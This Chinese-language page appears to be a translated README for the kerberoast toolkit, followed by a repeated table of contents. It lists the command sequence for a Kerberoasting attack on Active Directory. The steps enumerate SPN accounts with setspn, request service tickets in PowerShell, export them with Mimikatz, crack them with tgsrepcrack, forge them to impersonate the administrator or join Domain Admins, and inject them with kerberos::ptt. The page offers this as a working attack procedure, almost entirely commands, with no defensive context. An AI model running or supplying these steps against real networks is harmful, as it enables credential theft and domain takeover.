kerberoast

Kerberoast 是一系列用于攻击 MS Kerberos 实现的工具。以下是每个工具功能的简要概述。

使用内置 MS 工具提取用作 SPN 的所有账户

PS C:\> setspn -T medin -Q */*

请求票据

单张票据：

PS C:\> Add-Type -AssemblyName System.IdentityModel  
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/web01.medin.local"

所有票据

PS C:\> Add-Type -AssemblyName System.IdentityModel  
PS C:\> setspn.exe -T medin.local -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

使用 Mimikatz 从内存中提取获取的票据

mimikatz # kerberos::list /export

使用 tgsrepcrack 破解

./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

重写

使用户显示为另一个用户

./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -u 500

将用户添加到另一个组（此处为 Domain Admin）

./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -g 512

使用 Mimikatz 重新注入到内存

kerberos::ptt sql.kirbi

kerberoast

最受欢迎

kerberoast

使用内置 MS 工具提取用作 SPN 的所有账户

请求票据

使用 Mimikatz 从内存中提取获取的票据

使用 tgsrepcrack 破解

重写

使用 Mimikatz 重新注入到内存